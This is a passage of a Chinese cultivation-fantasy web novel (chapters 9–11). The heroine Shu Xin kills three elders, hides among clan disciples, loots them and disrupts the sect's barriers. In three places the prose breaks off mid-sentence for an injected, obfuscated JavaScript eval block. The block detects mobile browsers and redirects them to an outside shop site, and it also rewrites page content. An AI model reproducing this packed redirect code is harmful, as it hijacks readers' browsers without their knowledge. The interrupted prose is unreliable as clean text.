剑本就是万兵之首,又配合着雷霆之力更是杀伤力十足,飞剑来回游走几乎无影无踪。 “什么东西?” 旁边两个还没有来得及出手的两个真人冷不防被卷入这两把飞剑的攻势之中,也急忙开始用出攻势前去阻拦这两把剑。 有人激发了身上法衣的防御,企图抵挡飞剑攻势。 有人拿出一件法宝,试图将这飞剑击落。 还有人仗着掌法犀利,企图用血肉之躯强行将这两把剑折断。 可哪怕剑身断裂之后又被铸造成了两把剑,但它毕竟是曾经杀仙人都如砍瓜切菜的强大仙剑,又岂是这三个洞天真人能够击落得了的? 在这三人都被两把飞剑搅的手足无措之际,舒新已经飞身上前,五指握成拳头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688755|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手心之中捏着雷霆,“轰”地一声,直接砸向最靠近她的长老的丹田之处。 “噗。”那个被正中一拳的长老身形迅速后退。 “别退!”有人大喊。 可这时已经来不及了,就在这个被拳击中的长老后退之时,原本还在游走的飞剑突然加快了速度,从背后刺入这个长老的胸膛,将他捅了个对穿,随即飞入舒新的手中。 舒新握着剑柄,剑尖上慢慢滴下几滴鲜血。 “好厉害的灵剑!” 眼见舒新在呼吸之间已经夺了一名洞天真人的性命,剩下的两名洞天真人也察觉到了不对。 “你不是道婴初期!” “你隐藏修为还带着这么厉害的灵剑,你潜伏在我们宗门必定包藏祸心!” 这舒新的修为必定无限接近洞天境,加上她手上这两把古怪又强大的灵剑,所以普通的洞天真人也不是她的对手。 可她在眨眼之间,居然就能取走一个修为高过她的修士的性命? 剩下两位洞天真人也不愿意再恋战,他们没有必要为了一个舒新将命都搭在这里。 直接从这里出去呼唤塔上的长老将舒新杀掉更合适。 他们不傻,舒新手上那两把剑的品级只会比他们想象的更高。 越是强大的法宝,就越是需要主人拥有强大的实力。若是实力不够,贸然炼化强大法宝只会被反噬。除非用某种秘法,又或者花费漫长的时间去一点点的炼化法宝。 但不管是哪一种,这样强大的法宝,放在门派里当镇山之宝都够了,又如何能落在舒新一个野修出身的道婴修士身上? “想跑?晚了。”舒新脸上露出一丝微笑,“从我踏入这里开始,这里已经被我施了阵法,你们只会叫天天不应叫地地不灵” “既然来了,又何必走?”舒新脸上充满了嚣张肆意的邪恶笑容。 …… 一个时辰过后。 舒新踩碎了这三具尸体脸上的面具,露出三张老态龙钟的脸。 【什么阵法?分明是我用剑气将这里禁锢,你可真会往自己脸上贴金。】剑灵虽然有些生气,不过刚才这一架它对舒新还算满意,所以也就不多说了。 舒新这家伙,心眼子多得很,但是战斗意识简直是天生的。 她还说自己是个良民? 呸,骗剑灵呢。 “我说我用阵法禁锢这里,他们知道自己逃不了了才会害怕,一旦害怕就有了破绽,更方便我们动手。”舒新随口说道。 经常在游戏里pk的人都知道,要打架先要说点垃圾话或者吹吹牛扰乱对手的心境。 生死搏杀,胜负之分往往就取决于瞬间的判断。 【不过说起来,这三个洞天真人真弱啊。】剑灵吐槽道。 “看他们三个的样子就知道,他们已经寿元无多,而且出身恐怕比我也好不了多少。中间这个我认识,和我一样也是野修出身,不过已经作威作福很多年了,据说好像也娶了上百个小妾,在宗门外某个城市里繁衍出了一个修真家族。”舒新耸耸肩,“你不会以为这三个洞天真人当了管理层之后,还会去和人搏杀吧?” 正所谓拳怕少壮,其实缺的就是战斗的心气。 这三人,恐怕有几百年的时间没有正经和人拼杀过了。 只要当个小城市里的家族老祖,就有无数人想方设法去讨好自己、将资源送到自己面前,或者去给更厉害的世家当狗摇尾乞怜,压迫弱者就能得到无数财富,谁还会老实去修炼呢? 不过管理层嘛,不懂一线工作实在太正常了。 舒新蹲下来,将这三具尸体摸了个遍。 “还挺富。这下,问神宗的十万灵石拜师费就出来了。”舒新美滋滋的说道,“真希望这种人多来几个,这就是我的受害者赔偿啊。” 【我的剑气禁锢不了多久,很快塔上的人就会发现这里不对,加上重重把守,你打算怎么逃出去?】 “唔,我想想。” 舒新只想了一个瞬间,就有了打算。 她用这三个死去修士的血,在屋子的上面上写了一个大大的“冤”字,然后落款是“舒新留。” “血书写个冤字,我再跑,这样我到时候就有借口占据道德制高点了。”舒新叉腰,“我这血字写的不错吧。” 用敌人的血来写“冤”,到底谁才更冤? 9.第 9 章 正所谓兵贵神速。 说白了就是做坏事后肯定要第一时间离开案发现场。 而留下的这个“冤”字,一方面能够让舒新被抓到之后寻找借口,另一方面也是故布疑阵,让追来的人将目光移向其他人。 世家嘛,垄断这么多资源怎么可能没有仇人? 越是拥有的多的人,就越是担心自己的东西被抢走。 他们习惯了将周围的一切都当成自己的假想敌,所以前期给予一定的迷惑信息,能够为舒新争取到很多时间。 舒新也没啥洁癖,先是拿走这三个死亡的洞天真人的储物戒指,从戒指里找出和他们的备用法衣和面具给自己穿戴上,将自己伪装成另一个人的样子,大摇大摆的就从房间里出去。 【外面都被世家派系的修士坐镇的山峰包围,你伪装了也逃不过追捕。】剑灵不解。 “我知道,放心,我心里有数。”舒新摆摆手,“正好,我让你见识一下人族是如何诡计多端。” 剑灵一点也不怀疑舒新在吹牛。 因为舒新这家伙已经是这四个字的代名词了。 就在舒新伪装后离开房间的下一刻,剑灵禁锢的枷锁被打碎,几个身上佩戴着精致玉佩的修士直接踹开门,看见了地上的尸体,也看见了墙面上那大大的“冤”字! “尸体还是热的,她刚走不久。”一个林家修士皱眉道,“他们三人留在家族的魂灯一灭,我们立刻就过来了,舒新应该跑不远,追。” “等等,你急什么?湖中监牢附近的群山全部都有封禁阵法,就算是大乘期修士来了想要破阵都要好几个时辰的功夫,她跑不远。”另一个林家弟子摇头道,“这三人死的很迅速,他们身上都被灵剑刺穿了丹田要害。他们虽然年迈,但毕竟是洞天真人,一般的灵剑想要刺破他们的皮都难。” “舒新不过是野修出身,她何德何能拥有这样的灵剑?加上她写的这个冤字,莫非,这人不是她杀的?” “当然不可能是她杀的。舒新不过道婴期修士,怎么可能在短短时间内杀掉三个洞天真人?恐怕,是有其他人出手。” “在执法堂的地盘动手杀人,只可能是我们宗门内部的人。是张家?还是上官家?”这个林家修士说的这两个家族,都是他们家族的死对头。 思来想去,也只有这两个敌对家族的人才有可能帮助舒新杀掉他们派来的人。 “舒新是老祖要杀的人。若是舒新死了也就罢了,若是被敌对家族救走,到时候老祖知道我等办事不力,恐怕……” 几个人想起自家老祖的手段和小心眼,也是不由的打个寒颤。 “舒新必须要死。”一个为首的林家修士斩钉截铁道,“不日,老祖就要正式将司徒间收为亲传弟子。老祖已经有几百年不曾收过弟子,他老人家向来不喜欢弟子有尘缘未了。若是在收徒仪式前舒新还活着,老祖自觉颜面受损,就算我们是老祖子嗣,也是难逃一死。” 子嗣这种东西,若是有了几百个几千个,根本就不值钱。 相反能够传承衣钵的弟子,才是值钱的。 老祖上一个收的弟子在冲击无垢境界的时候死了,之后老祖就不曾再收过弟子。 而上一个弟子的亲人父母,也因为各种各样的“意外”而死,只能将林家当成自己唯一的依靠。 “这样,我们一面派人去附近搜寻,另一方面将舒新手中有五方山水印的消息透露出去。世家之中,多的是寿元将尽急于突破的洞天真人,他们会努力去找舒新的。” “但这么一来,五方山水印我们就很难收回了。”略微年轻点的修士毫不掩饰自己对于五方山水印的渴望,“这件法宝,就算我们几个的功绩加起来也很难兑换。若不是为了杀掉舒新,家族如何会舍得将它给舒新?” “五方山水印对于家族是很重要,但是对于老祖不过是可有可无的玩意。两害相权取其轻,舒新死了,丢了五方山水印,我们还可以功过相抵。不然,舒新死不了,五方山水印我们也拿不到,那才是罪上加罪。” 林家弟子们心中一动,终究还是对老祖的惧怕多过对五方山水印的渴望。 “好,我先将消息放出去。” “不要说舒新是被人挟持的,就说是她的帮手。”为首的林家修士轻轻一抹,将墙壁上上的“冤”字直接消除,“她是带罪潜逃,我们要抓她是天经地义。” “好的,阿兄。” “等等,再加一条。” “能够带来舒新的人,都可以获得我们林家奉上的十万灵石。至于舒新本人,生死不论,我们都认。” “阿兄,舒新她值这么多钱么?” “这三个洞天真人身上的储物袋全部被搜走。他们三个人虽然资质一般,但在外面也是响当当的一方老祖。加上他们为了破境,不知道收集了多少资源,如今怕是都落在了舒新和她帮手身上。光是这些,就最少值三十万灵石。” “我明白了。” 半日后。 附近不少山脉上的世家修士们,都已经听说了舒新带着五方山水印疑似被人救走的消息,而且救她的人修为最少也是洞天境界。 顿时,这些世家修士们都乐得看戏,更加愿意掺和上这一脚。 “执法堂附近的阵法常年开启,就算是我们也需要验明正身才能进入相应的山峰之中。舒新和她的帮手必定就躲在附近,好好去找,第一时间上报。” “找到舒新者,重重有赏。” “有意思,一个道婴期修士被抓到执法堂,被救走了不说,还死了三个洞天真人。如果之前只是林家的随手为之的话,现在就是活脱脱的打林家的脸了。” “这舒新也是倒霉,好好的和司徒间扯上关系。” 这林家老祖,即使在众多世家老祖之中,也是相当不好相处的那一类,要不是他活得长又能打,早就被人联合起来弄死了。 “应该说是被林家那个老妖怪看上的人都倒霉吧。” 不是孤家寡人也要变成天煞孤星。 调侃归调侃,但是消息流传的这么广,逐渐已经演变成了舒新身上不但携带着数量庞大的灵石、有助于抵挡雷劫的异宝、还有厉害古怪的功法传承等等。 一时间,附近山上的修士都开始蠢蠢欲动。 【完了,现在大家都在找你。要是我短暂恢复的话,挥出一剑倒是可以破掉阵法让你离开。】剑灵忧心忡忡。 没想到那林家的修士来的这么快,而且居然这么不要脸直接将消息放了出去,这摆明了就是让附近的修士都来杀舒新。 “唔,世家弟子里,也有聪明的。”舒新摸摸下巴,“是聪明人就好了,毕竟蠢货在想什么我可一点都猜不到。林家这一招,倒是挺妙。” 【你还有心情夸别人?玩砸了吧,之前要是不进这执法堂就好了。】剑灵怅然不已。 “浑水才好摸鱼嘛,就算林家不放出消息,我也要想办法将消息传出去的。现在倒是省了我一番功夫。”舒新大笑,“至于你,是我最后的底牌,怎么能用来破阵?王炸哪里有最先出的!” 【有人来了,快躲起来。】剑灵催促道。 “躲什么?”舒新大大方方的,“洞天真人又不是大白菜,普通修士哪里能够看得穿我的伪装?” 最危险的地方就是最安全的地方。 这地方虽然大,但是被这么多的修士一寸寸搜山,挖地三尺也要被找出来。 直接躲进这些搜寻自己的队伍里,难道不好么? 大隐隐于市。 水滴只有融于大海才不会被发现。 说罢,看见对面远远的来了一队人,舒新连忙小跑着就赶了上去。 “几位师兄,看你们的打扮,可是那个号称‘双拳之下无敌人,同阶战力第一’的上官家的弟子?”舒新一脸的仰慕,修为也被压制在凝丹初期,看起来就是一个随处可见的小小女修。 被舒新拦下的一队修士,正是上官家的旁支子弟,为首的一个修士看着老成一些,是凝丹后期的修为。而他身后跟着的,有凝丹的修士,也有才筑基成功的修士,看起来年纪都不小,可见他们的资质也好不到哪里去。即使在上官家,怕也是不受重视的。 “你倒是有些眼光。”为首的修士微微拱手,“在下上官玉,前些日子侥幸才上了家族族谱,我身后是我的一些弟弟妹妹们,不知道这位师妹你是?” “我……我只是一个小家族的,难以和上官家媲美,免贵姓李。”舒新羞涩的说道,“我本来是和家中长辈一起来巡山的,只是中途发现一株灵草不错,耽误了一会儿,转眼长辈们就不见了。没办法,我只能在这里等着,想要问一下,诸位同门是否见过我家长辈?” “我们来的时候,看见不少修士都在巡山,不知道哪位才是你家长辈。”上官玉见这位李师妹长得也算秀色可餐,身上穿的虽然不是什么珍贵法衣,但也证明她在家中颇受宠爱。而且小小年纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694387|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经是凝丹修士,倒也值得他慎重对待一二。 “这样啊。”舒新抽噎了一下,伸手抹了抹眼泪,“那我就在这里继续等着吧,打扰几位师兄了。” “若是李师妹不嫌弃,暂时和我们一路吧。接下来这附近怕是会鱼龙混杂,我听说不少散修出身的修士,也痴心妄想想要立功。你若是落单,恐怕有些危险。我们同为世家弟子,应当守望相助才是。”上官玉脸上一派傲然,“那些散修,得天之幸进了我们宗门,但一身的草莽习气可没改。而且听说那舒新在散修之中名气很大,说不定就有她的帮手潜藏其中。” “这……这怕是有些麻烦了。”舒新犹豫不决,“上官师兄不担心我是坏人么?” 上官玉飒然一笑,“我上官家声名赫赫,一般人可不敢招惹我们。” “堂兄,我们带个落单的修士一起不好吧。”一个年纪小的修士拉了拉上官玉的袖子,又偷偷的瞄了舒新一眼,“万一她是舒新假扮的呢?舒新不也是女修么?” 上官玉听见这话,不由笑了出来。 “堂弟,这就是你思虑不周了。要你是舒新,好不容易从执法堂里逃出来,还害死了人,现在被大肆追捕,你会怎么办?” “我……我会躲起来,不被任何人发现!” “这就是了。你再看这位师妹,身上穿的、用的,哪一样是普通散修能用得起的?何况师妹生的如此花容月貌,我见犹怜,旁人走过都要多看几眼,又怎么可能会是那舒新假扮的?再说那舒新有帮手,必定是两到三人结伴而行。”上官玉侃侃而谈。 “堂兄说的在理。” 上官玉身后的修士们都被说服了,纷纷夸赞起上官玉的英明神武来。 舒新也得以借此留了下来,加上舒新当了这么多年的外门长老,对于世家修士的那些规矩啊、话术啊都了解的透透的,要伪装成一个不谙世事一心修行的世家女修可太容易了。 不多时,上官家的修士就知道这位李师妹资质出众,而且目前尚未订下道侣,她若是出嫁,家族会为她准备一瓶破障丹,据说能够增加凝丹修士成就道婴修士的几率。对于一些小型的世家来说,可以说是相当丰厚的嫁妆了。 顿时,不少年轻点的修士看着这位李师妹的眼神都火热了不少。 唯有上官玉自恃修为和地位,不是很能看得上这位李师妹。 他要选的道侣,必定是大家出身,这位李师妹虽然资质不错,但对他以后的修行还是没有多少助力。 不过这李师妹也是温柔体贴,细致周到。 几天下来,已经有不少上官家的儿郎对她含情脉脉,恨不得等见了李家长辈之后就想要去提亲了。 就连上官玉也不得不承认,这个李师妹真是说话说到他的心坎里。 “我虽然和上官师兄相处不多,也觉得您是一个有担当、有志向的好男儿。为人重情重义,而且出手大方,怕是很得女子心。只是上官师兄您毕竟天资出众,必定招来同龄人的嫉妒,这才阻碍了您的前程……” “我相信上官师兄您一定能够修行有成,到时候您不要忘记小妹就好。” 这个世界上,居然有这么懂我的女修? 上官玉看着舒新的眼神都温柔了不少。 若是这李家长辈开明,李师妹当妻子也不是不行。 而其他上官家的年轻儿郎们,看着上官玉和李师妹这眉来眼去的,心中也是隐隐泛着酸水。 【……司徒间知道你在这里玩弄这些少男心么?】剑灵幽幽的在舒新的脑子里说道。 “这算什么玩弄?一点话术而已。”舒新一边和剑灵对话,一边温温柔柔的接受某个上官家年轻男子送来的点心吃食,微微一笑就弄得对面脸都红了。 “也就是现在场合不对,不然我让你见识一下,我用三句话就让这几个修士给我花费上千灵石的本事。”舒新哀叹现在时机不对。 【醒醒,你又不是合欢宗修士。接下来怎么办?】剑灵着急道。 “急什么?那些找我的人都不急。”舒新耸耸肩,“他们着急了才会忙中出错。而且你猜,在这样的环境里,如果有人趁机有仇报仇,再把锅甩在我身上会如何?” 剑灵一愣。 “对于某些人来说,我一直不出现,他们才好做事啊。”舒新笑了笑,“毕竟,我又不会站出来说事情不是我做的。” 多么好的有仇报仇,有怨报怨的机会。 可别错过了。 10.第 10 章 第二天舒新打坐修行的时候,被几个年轻儿郎唤醒,说是“找到舒新和她的帮手了”。 舒新差点没有笑死。 果然,这一天还是来了。 只要她不出现,就会有人开始冒着她的名义开始搞事。 “当真?”舒新装出一脸欣喜,“那我们立刻就去汇报给家中长辈。哦,我差点忘记,我还没有找到我的家人。” “李师妹,这可急不得。”上官玉一脸老谋深算的模样,摆出一个自认为相当帅气的姿势,“若是我们就这么回去禀报,最多也就是个信使,哪里能够在家族里体现自己的价值呢?” “可……可我们的修为怕是有所不如。贸然行动,说不定我们所有人都会搭在里面。毕竟,连洞天真人都折在了里面。”舒新忧心忡忡的说道。 “我们不动手就好了。”上官玉大手一挥,“李师妹你怕是不知道,我们上官家和林家向来是水火不容。相信舒新长老若是得知这件事,也会给我们上官家一个面子。到时候,我们见机行事,帮着家族先探探舒新和她帮手的底也好。” “那就听李大哥的。”舒新似乎被说服了,跟着点头。 在前进的时候,舒新还好奇的询问他们,“几位哥哥怎么知道那是舒新和她的帮手的?” “因为好认啊。”上官玉回答道,“有几个世家弟子组成的队伍,在巡山的时候遇见了舒新和她的帮手,死的只剩下一个修士不说,而且还在地上留了几个字,一看就知道是舒新的手笔。而且那女子长得颇为男相,很符合对舒新的描述。” 【他们似乎认不出你。】剑灵有些好奇,【他们难道连你的画像都没有传下去么?】 “当然不会啦傻剑灵。林家想要别人帮着一起找到我,但绝对不想真的让别人抢先一步找到我。所以不管是我的长相还是我留下的冤字,都已经被抹去了。” 掩去关键信息,驱使他人做事,早就是这些上位者惯用的手段。 【好吧,我看不明白你们人族的狡诈。那你接下来打算怎么办?】剑灵不解,因为舒新总不可能一直待在这支队伍里,她的身份总是会暴露的。 “先浑水摸鱼,查查这附近的禁制再说。这些世家弟子能够自由出入,除去名牌和身份验证之外,也意味着他们至少掌握了一条能够稳定离开的路径。”舒新回答道,“人可从来都不会给自己留下一条必死的路,大家最喜欢做的事情,就是‘开后门’了。” 舒新他们紧赶慢赶,赶到的时候,目的地至少已经有了三支不同的队伍到达。 而被这些队伍围在中间的,则是一个脸上残留着血迹,受了重伤,看着脸色极为不对劲的修士。 “我……咳咳,我们是偶然遇见舒新和她的帮手的。他们太强了,只是一个照面,我们几乎就都败下阵来。几个师兄师姐因为有家族的宝物傍身,想要上去和舒新斗法,没想到却被她使用阴谋诡计反杀。我……我要不是有师父,赐下的符箓,恐怕现在也没有办法活下来。” 中间的那个修士看着不过二十少许,面相还有些稚嫩,但说起谎话来,还真是一套一套的。 舒新跟着上官玉他们来到这里,看了一眼现场,就知道里面有猫腻。 周围死去的那些修士看起来都极为惨烈,一看就是经历了一场大战。 那么问题就来了。 这些死去的修士不过凝丹修为,就算有宝物撑腰,战斗痕迹也不应该是这样的。 果然,很快就有人询问了出来。 “这位师兄,我观你们修为不过凝丹,那舒新和她的帮手连洞天真人都能斩杀,你就算有宝物傍身,应该也活不下来才对。再者,你们既然动手了,怎么附近都没有人察觉到动静?” “那舒新等一行人,似乎都受伤了,所以我们才想着搏一搏,咳咳。” “这倒是说得过去,舒新她们杀了几个洞天真人,不可能一点代价都没付。” “之前不是还有人说舒新是冤枉的么?这下真相大白了,她就是背叛宗门了。” “这也算是情有可原吧,林家老祖做事……大家心里还是有数的。她要是不反抗,就只能死了。” “既然林家要杀她,她就该老实受着。这种野修,本就不该拜入我们这等仙门!” …… 周围的修士似乎都有自己的意见,现在他们也不说要去追杀舒新,反而都在这里各抒己见。 就连刚才还有着“雄心壮志”的上官玉,现在也愿意和其他一些大世家的弟子们互相聊天、互相恭维,而不是贸然去找舒新,成为下一具被发现的尸体。 面对这些“当面造谣”自己的人,舒新只是保持淡淡的微笑,一点也不生气。 他们这群人最后商量来商量去,决定还是抱团,不能轻易落单。 而舒新,也因为是跟着上官家的人一起来的,所以没有任何嫌疑的就融入了这群人中间。 深夜。 负责守夜的修士一个个的倒了下去。 而在附近打坐修行的修士,在察觉到不对的时候就已经晚了,也跟着一个的倒了下去。 “这些世家弟子实力低下,又如此愚蠢,怪不得都被派出来找人。” “长生道宗的这些世家多年屹立不倒,自然有不少精英弟子。只是这些精英等闲可不是轻易见得到的。” “好了,别说了,先赶紧找东西。洗劫了他们这一批,我们连修炼到洞天真人的资源都能攒出来了。” “之后将他们杀了就是,反正又查不到我们头上。” …… 舒新放开神识,以她的本事,自然能够让动手的人无所察觉。 果然,动手的人就是那个唯一“从舒新手里存活”下来的修士,他的身边还有两个人,应该是和他一起的。 此刻,他们正在翻捡这些世家弟子们的储物戒指、储物袋等等。 看他们这么熟悉的样子,就知道他们这种事平时也没有少做。 “这是魔道炼丹师们炼制出来的仙人醉,价值昂贵。道婴境界之下的修士,稍微闻一闻就要在昏迷。不过只要提前做好防备,买下魔道炼丹师炼制的不扰丹,就能免除仙人醉的效果。出门在外的修士,不扰丹都是必备之物。” 仙道门派这边垄断了丹药、符箓、灵草等等修行资源,魔道门派那边就另辟蹊径,搞出了一堆害人的东西来。 哪怕没有害人之心,也得有防人之心吧。 因此,魔道出品的不扰丹等等丹药都要常备。 于是,又被魔道收割一波。 仙人醉的材料舒新研究过,价格昂贵,用来对付道婴期以下的修士都有些浪费了。但正因为它的存在,所以成本低廉的不扰丹就卖的格外贵。 这修真界,各有各的割韭菜的办法。 韭菜被割的越狠,这些传承多年的大派地位就越是稳固。 魔道门派唯一比仙界门派好的,就在于他们不是世家传承,而是师徒传承,讲究师徒相残、父不慈子不孝,为了修行,将自己肉身、亲眷练成法器的都有,可谓是群英荟萃。 听见这个道明仙人醉来历的声音响起,正在收集的三个修士脸色一变。 可是他们环视一圈也没有找到说话的那个人,可见此人的修为必定远在他们之上。 这可不是能够硬来的。 尤其是为首的那个,当即拱手道,“不知道是哪位前辈大驾光临?既然能够认出这些东西,想必和我们一样,也是野修出身。不如这样,我们只拿回仙人醉的本钱,剩下的都交给前辈如何。” 舒新没有回答。 而为首的那个修士见没有反应,便继续说道,“我们都是野修出身,知道这长生道宗的手段。这些世家平日里将我们野修呼来喝去,根本没有将我们当人看。他们手里随便漏一点资源都足够我们拼杀许久。如今有这样的大好机会,我们何不携手,给这些世家一些教训呢?” “滚吧。”舒新喝道。 “前辈想要吃独食?”一个修士不满,但立刻就被旁边的人给拉了下去。 “多谢前辈不杀之恩。”为首的那个修士不再多说,当即带着人直接跑了。 能够留下一条命已经是万幸,而且他们刚才也搜刮了不少,足够本钱了。 舒新缓缓起身。 将这些昏倒的世家弟子们身上的东西全部洗劫一空。 当然要吃独食了。 蚊子再小也是肉嘛。 不过在洗劫这些弟子的时候,舒新将他们身上代表着各自家族的信物也全部带走。 “走,试试这附近禁制的深浅去。”舒新大手一挥,将这些信物装了满满一兜,“中了仙人醉,他们今天晚上都别想醒来了。此时不动手,更待何时?” 舒新跟在这些人身边,倒也不全是过家家。 起码在聊天的时候,将这附近的地形和一些禁制还是摸清了门路。 根据这些世家弟子们的说法,这湖中监牢周围的群山禁制,其实就是不同的世家联合起来设下的一个大阵。 但世家先祖们为了方便自家血脉进入,因此在各自的山峰里都留下了一个“后门”,可以直通家族中心。这么一来,只要家族弟子拿着信物,从家族中心传送至此即可。 当然,这中间肯定还有其他的门路。 舒新也不可能真的跑到这些家族的中心里去,那和送羊入虎口没有区别。 但,试试又不会怎么样。 舒新率先飞到最近的一座山峰前,又避开了一些修士的耳目,这才挑挑拣拣找到了对应的信物,企图将这群山的禁制打开。 轰—— 手中的信物虽然闪着光,但却没有打开禁制的入口,反而惊动了禁制,暴露了舒新的所在。 “果然有问题,先跑为敬。”舒新大笑,将手中的信物一扔,趁着修士们来抓自己的时候率先跑路。 “剑灵,帮我。”舒新直接提要求。 【知道了。】剑灵一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703089|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边在心里骂,一边十分老实熟练的给舒新加上自己的剑气,方便她屏蔽那些探查的神识等等。 过去的这些年,舒新能够在不同的魔窟里行动,又能不惊扰这些大门大派,靠的就是剑灵的这一手“屏蔽”功夫。 这也是虽然这个剑灵嘴巴碎、又费钱,但舒新还是没有将它扔掉的重要原因。 毕竟,这可是自己穿越后的最大外挂。 仙器傍身,可是主角待遇! 【看来这些世家也没有留下让你能够钻空子的门路,接下来怎么办?】剑灵好奇道。 “当然是都去试一遍,不患寡而不患均。”舒新毫不犹豫的回答,“既然都这样了,当然要一视同仁。” 【……服了你了。】 话是这么说,但剑灵也是兴致勃勃。 接下来,舒新又开始去不同的山峰里去试。 果然,每一个信物都不能用。 又或者说,这些信物只有在各自的主人手里才能使用。 这些家族信物并非是为了好看,而是真的在里面融入了相应弟子的血液和神识,只有人和信物对应的上的时候,禁制才会打开。 一夜之间,周围群山的禁制都被舒新玩弄了一个遍。 随便可见不同山峰的修士都在飞来飞去,乱哄哄的寻找着触动禁制的家伙。 但凡舒新遇见挡路的,就直接一剑砍过去,砍完就走,没有半点留恋。 于是,本就混乱的场面更加混乱了。 在各个山峰之中,都能听见有人跳脚破防的声音。 舒新哈哈大笑。 “这下不就更乱了?”舒新颇有些骄傲,“论搅混水,我排第二谁说第一?” 这些山峰都被扰乱,那些原本还打算闭关的高阶修士,也不得不出关安抚众人,表示一定要将罪魁祸首抓到手。 而舒新在这个时候,已经悄悄的回到了上官玉等人的队伍,假装也中了仙人醉,正美美躺着呢。 另一头。 长生道宗这边因为执法堂附近闹出的这一堆事,自然也投来了不少关注的视线。 “你的意思是说,在短短时间内,一个道婴期的弟子,不但从执法堂里逃出来,杀了三个看守她的洞天真人,还在逃亡的时候犯下案子将近一百起,杀了差不多七百多个修士,并且掠夺了他们的资源,还抢走了他们的灵兽,甚至还可能掳走了十几个女修,造成了数百万灵石的亏损,还有几万瓶丹药的失踪?” 一个道行高深,看不清具体修为的修士将下属们递上来的玉简一扔,声音极为冷硬。 这里面的门路,明眼人一看便知。无非就是下面的人借着“舒新”的名头为非作歹,将责任都推到了舒新头上。在他们看来,一个注定要死的人,能够为他们担一些责任,是她的荣幸。 “长老饶命。” 下面已经跪倒了一大片的修士。 “林家那个小子,做的太过分了。”俊美修士淡淡说道,“国有国法家有家规,我们长生道宗,暂时还不是姓林,这种闹剧,尽快给我结束。另外,你们这些人也要好好去管管下面的人。有些事情你们可以往这个舒新的头上推,但也不能什么事情都往她身上推。” 下面的修士一时间都不敢说话。 过了许久,才有人鼓足勇气询问道,“那……长老,我们要是抓到舒新,应该如何处置?” 该不会长老想要保下舒新吧? “若是她还在长生道宗内,抓到她如何处置是你们的问题,只要面上过得去,事后你们自行去领罚即可。舒新毕竟是在宗门闹了事,也杀了人,这些事若是轻易放过,我长生道宗还有何颜面立足?若是她成功逃走前去问神宗,便不再是我长生道宗弟子,不可再继续追究。” 三言两语之间,他已经决定好了舒新未来的路。 “长老,那问神宗早已没落,何必给他们这么大的面子?” 俊美修士只是稍稍一盯,刚才那个说话的修士已经倒退着飞了过去,摔倒在地,气息萎靡,看着修为至少下降了两个档次。 “你在质疑我?” “不敢,不敢。” 眼前这个俊美修士是长生道宗真正的当权人物,不但娶了三大家的女修,还拜入掌门门下,可以说他才是长生道宗真正的核心。 在长生道宗,只有三个家族始终屹立不倒,是长生道宗的树干,而剩下的那些世家,不过是一些枝叶。 只要树干不倒,枝叶来回更换也没有关系。 “问神宗再没落,也不是你们惹得起的。”中年修士冷笑道,“我们不管事,只是觉得不值得,但你们若是做的过分了,想要取代你们的人多的是。舒新的事,就按我说的办。她要是真的能逃出去成了问神宗的人,岂不是更好?” 有脑筋转得快的人已经明白了。 舒新这么能惹事,要是成了问神宗的人,以后他们宗门对问神宗动手,就有的是借口了。 “长老英明。” 11.第 11 章 “我的储物袋。” “我的剑也不见了!” “我的灵石,那是我存了好多年的。” “我丢了几十瓶丹药。” …… 上官玉等人醒来,都在计算自己的损失,大家说的数额一个比一个大,一个比一个多。 舒新一边听着他们报的数,一边用神识扫过自己的储物戒指,不由撇撇嘴。 这些人真能吹,多说了几十倍不止。 唉,也不知道自己要“被迫”平多少账。 不过比起这些丢失的身外之物,那些家族玉牌的丢失,才更加让这些世家弟子崩溃。 “糟糕了,玉牌丢失,回到家族里最少要被关禁闭三年。” “玉牌造价不菲,关键是还需要修为高深的长老在上面记录我们的气息,要请那些长老们出手可不容易。” “这可怎么办?” 唯一能够安慰他们的,就在于他们这一群人都丢失了玉牌,而且听说其他世家队伍里,也几乎都丢失了玉牌。 严格来说,他们也是在完成家族吩咐的工作的时候丢失的,罪名可以降低一等。 但即使这样,也让他们的心情格外低落。 舒新当用他们的家族玉牌去激发禁制,企图找到空子失败之后,就将那些玉牌都用“等等”“且慢”两把剑砍了个稀碎,免得上面还有什么追踪用的法术。 这样的举动,无疑更加让那些世家紧张。 玉牌是证明一个世家子弟身份的东西,比身份证可要重要的多了。听说有些资质不好的、或者家族贡献不够的,一辈子都得不到一块象征身份的家族玉牌。而没有玉牌,哪怕你是族长亲生的,在很多时候也是没有特权的。 因此,一下子丢失了这么多玉牌,自然会让这些世家担心,是不是有人企图在玉牌之中找寻家族秘密,从而威胁到他们的根基。 